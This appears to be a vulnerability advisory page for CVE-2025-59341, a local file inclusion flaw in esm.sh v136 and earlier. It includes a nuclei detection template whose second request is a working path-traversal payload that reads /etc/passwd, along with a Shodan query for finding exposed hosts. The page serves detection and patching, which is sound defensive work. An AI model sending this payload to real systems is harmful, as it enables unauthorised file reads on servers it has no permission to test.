esm.sh <= v136 - Local File Inclusion

highseverity

7.5CVSS score

1.6%likelihood of exploitation, next 30 days

77%of all CVEs are less likely

Readycheck to confirm it

esm.sh <= 136 contains a local file inclusion caused by improper URL handling, letting attackers read arbitrary files from the host filesystem remotely, exploit requires crafted request.

Impact

Attackers can read arbitrary files from the server, potentially exposing sensitive information.

Fix

Update esm.sh to a version later than 136 or the latest available version.

How to confirm it

Send: GET /
Positive when: status_code == 200 and contains_any(body, "esm.sh", "A no-build JavaScript CDN", "import React from")
Send: GET /pr/x/y@99/../../../../../../../../../../etc/passwd?raw=1&module=1
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2025-59341 -u <target>

The full check

id: CVE-2025-59341

info:
  name: esm.sh <= v136 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: |
   esm.sh <= 136 contains a local file inclusion caused by improper URL handling, letting attackers read arbitrary files from the host filesystem remotely, exploit requires crafted request.
  impact: |
   Attackers can read arbitrary files from the server, potentially exposing sensitive information.
  remediation: |
   Update esm.sh to a version later than 136 or the latest available version.
  reference:
    - https://github.com/esm-dev/esm.sh/security/advisories/GHSA-49pv-gwxp-532r
    - https://github.com/esm-dev/esm.sh/blob/c62f191d32639314ff0525d1c3c0e19ea2b16143/server/router.go#L1168
    - https://nvd.nist.gov/vuln/detail/CVE-2025-59341
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2025-59341
    cwe-id: CWE-23
    epss-score: 0.01636
    epss-percentile: 0.76524
  metadata:
    verified: true
    max-request: 2
    vendor: esm-dev
    product: esm.sh
    shodan-query: http.html:"esm.sh"
  tags: cve,cve2025,esm,lfi,traversal

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains_any(body, "esm.sh", "A no-build JavaScript CDN", "import React from")
        condition: and
        internal: true

  - raw:
      - |
        GET /pr/x/y@99/../../../../../../../../../../etc/passwd?raw=1&module=1 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from